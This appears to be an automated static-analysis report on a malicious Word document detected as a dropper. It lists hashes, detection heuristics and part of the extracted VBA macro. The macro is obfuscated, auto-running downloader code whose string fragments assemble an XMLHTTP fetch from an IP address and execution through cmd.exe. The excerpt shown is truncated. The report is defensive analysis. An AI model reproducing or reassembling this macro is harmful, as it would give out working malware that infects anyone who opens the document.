Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 419abb90bf8d97a6…

MALICIOUS

Office (OLE)

72.0 KB Created: 2016-09-05 22:43:00 Authoring application: Microsoft Office Word First seen: 2017-11-13
MD5: 00f9014228bbe3be5ab8761d63511a8a SHA-1: b21b78e92f601092c93f1fafc1e8959b5813ef20 SHA-256: 419abb90bf8d97a6e3692de6e94aa8a8c678a0ec994c1b13cd55bd314526423b
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is identified as malicious by ClamAV with the signature 'Doc.Dropper.Agent-6362129-0'. Static analysis revealed the presence of a VBA macro with an AutoOpen function, which is a common technique for executing malicious code upon document opening. The macro utilizes the CreateObject function, indicating an intent to execute arbitrary code, likely for downloading and running a second-stage payload.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6362129-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6362129-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9527 bytes
SHA-256: 82a2c8071f021f86083f79f06b7738b6397ab72cb7c575b8389ff693f12edbf4
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub adzypzajx(czyryjamk, ememunilv)
czyryjamk.Language = ememunilv
End Sub
        
Sub upfufjex()
Dim ucojpa
Dim nyjlicby3
Dim sijusgidm, kujovpy7, ojduvovwawt, tyrrovucc, ygregedgy, yjuxud4, ovequ, svijopys2, icsuzoqi, ligysomm, uchagomwih5, ewtuzhezulc, zihvurcy5, uqupulu5, gedlenhyke3, qefcunbed, yqakgi, gofradz, oxisna9, gufukfij2, yraxne
Dim rcubzysejni0, uxgyfuc5, yleren3, fuglullu, vybosbukvy2, uqzywiluxw, mmyhqoqz7, uxvizec9, adgozakux4, bhigxifmy, fexopek2, acxymze5, oderu, irifadu4, rygej7, hyqiszong1, alitjuko8, mixodwe, uhehikqe0, cijfov7, tjudilaccu7, isfywdavmy3, dxugep9, ekadqe9, ixegopn3
Dim acixsudahj, jrazdijudtu, ekukicda, jejlacy9, awuvwybcy, ipemhup4, huqxegwesd0, vgyxaxevg5, ufminfoho, kcirdywyrm, ydlisusk9, ajigequd, horwut, zfywhaxx0, utado3, isyqu3, uciwoslehd9, cjisyxuri, ycomuz, rvufnosvidk, zvumus, ipubcefp, btavwivy, osimvypi, kamtyxdewu, uryvvybi8
'friary overtaking upsets avalanches brokered dissociative bashfulness paled
Dim yrmofpipo
Dim iwluvuco
Dim jbaxunb
Dim yfijig6, ulewaxog, qunymuxo0, apaqepem3, azrekapafw, ohgawmulqi0, jedjula, qsexyg, umfygyzs, eluhebut, yzgykic, hidejr, eprahtov0, xuhawa0, stezquhufg1, erlaryhj8, vvohtuctec, icqoju, gevbync, jmagkej, ahlapos, rdyqimy, ahpuzangipp8, xhadmara1, wlirjeruc, xyjerfygi9, nogymap, kloczus5, ktycewj, dpiwypupqe0, sadutupo1
Dim oxgedehh, tzychyzo, nnoqxeg, qzarove, opcezdeqw0, vqupumdy, oquwisid, edfaji, ucipyfgo, omulybi3, zhagyrx, ixagubw7, camsoska, yfiwgide, ehzilikj, opariqhev, vuduhva6, xqusjoqb, gtiqosad, itezvalo, genridkaw, owdysajly, drawsed1, arjakinkur, lhawqejnu, gsanif, acesyqtyvt, vcyfgykery4, izsezle2, xvushehgiv6
Dim qunsi7
Dim ryzonrevk
Dim ilohwedbe
Dim upbyju0
'wondrously homunculus thundercloud misrepresent slurring underemployment emended fended
Dim lwasivij, ubvokd4, ecod4, ulqazsycja, vdodab0, owebydy, cennahde, qycytat5, ujij5, xteke0, qotetd, aqol, olgisalwi4, osvabade3, ybyluxo4, bceryngogv, itkus1, axesregto1
opcezdeqw0 = "func"
horwut = "stre"
gsanif = "trea"
nyjlicby3 = "Acti"
'thrusters chamberpot punster spectres fiends scouted cooled
owdysajly = " ass"
oderu = "ath "
arjakinkur = "); }"
vqupumdy = "cmd."
fuglullu = "new "
nnoqxeg = "l = "
erlaryhj8 = "smk."
jedjula = "exe"""
ewtuzhezulc = "eXOb"
kamtyxdewu = ".84/"
'studentship flagged difficult undesirability sizeable burgles barefooted jurisdiction
gufukfij2 = "tSpe"
hidejr = " = """
isfywdavmy3 = "Fold"
opariqhev = "tion"
ufminfoho = "File"
yraxne = "ath;"
qzarove = ", 0)"
ligysomm = "m.Sa"
cijfov7 = "trea"
ucojpa = "(ass"
'sectional deader slacks threshers cresting ovate
ojduvovwawt = "Syst"
bhigxifmy = "n, 0"
eprahtov0 = "d();"
zvumus = "TTP"""
adgozakux4 = "(""Mi"
gevbync = "mp_p"
stezquhufg1 = "ll.r"
huqxegwesd0 = "ctiv"
'tibia rejoins psycholinguists phasing wakefulness implosion deft yawed grotesquely
jbaxunb = "ctiv"
alitjuko8 = "t ("""
sadutupo1 = "ew A"
azrekapafw = "mdru"
yleren3 = "ame("
'regale castling ukuleles bigoted hopper soler
svijopys2 = "h);s"
gtiqosad = "ew A"
ajigequd = "fso "
uxgyfuc5 = "cros"
zfywhaxx0 = "= ne"
btavwivy = ");st"
xhadmara1 = "am.T"
xqusjoqb = "bjec"
'nuptial aerodynamically cycles lockjaw rethink reinforces microcosm ample recoveries
ucipyfgo = ");as"
mmyhqoqz7 = "XMLH"
edfaji = "ion "
vcyfgykery4 = "exe "
ydlisusk9 = "ype "
genridkaw = ") { "
dpiwypupqe0 = "rite"
rygej7 = "oft."
'symptom dastardly superscripts wilder leaner illustrators
ipemhup4 = ".192"
yzgykic = "Shel"
ohgawmulqi0 = ");va"
zhagyrx = " (""A"
tyrrovucc = "ript"
yfiwgide = "/c """
ehzilikj = "en("""
ktycewj = "var "
'kingfisher others choice drat flaking
fexopek2 = " = n"
xyjerfygi9 = ", ""h"
drawsed1 = "r cm"
uhehikqe0 = "am.P"
awuvwybcy = """ + "
yfijig6 = "tive"
eluhe
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.